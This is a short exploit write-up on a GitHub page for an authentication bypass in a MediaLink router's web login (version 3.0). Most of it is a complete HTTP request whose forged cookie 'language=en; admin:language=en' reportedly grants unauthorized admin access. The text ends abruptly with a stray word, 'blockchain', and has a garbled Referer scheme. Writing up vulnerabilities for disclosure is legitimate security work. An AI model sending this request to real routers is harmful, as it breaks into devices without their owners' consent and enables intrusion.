Peanut886 / **Vulnerability** Public

Code Issues Pull requests Actions Projects Security Insights

main

Vulnerability / **MediaLink Unauthorized access.md**

Peanut886 Add files via upload History

1 contributor

29 lines (23 sloc) | 1 KB

Exploit Title: Medialink Unauthorized access

Date: 2022-10/12

Exploit Author: Peanut886

Vendor Homepage: http://www.medialinks.net.cn

Version: V3.0

Tested on: windows10 + phpstudy

Description

In the MediaLink router login interface, request /index.asp, Cookie plus language=en; admin:language=en: bypasses the login interface to achieve unauthorized access.

Payload used:

```
GET /index.asp HTTP/1.1
Host: TARGET:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101
Firefox/105.0
```

```
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: SVC://TARGET:PORT/login.asp
Connection: close
Cookie: language=en; admin:language=en
Upgrade-Insecure-Requests: 1
```

Returns part of the package

blockchain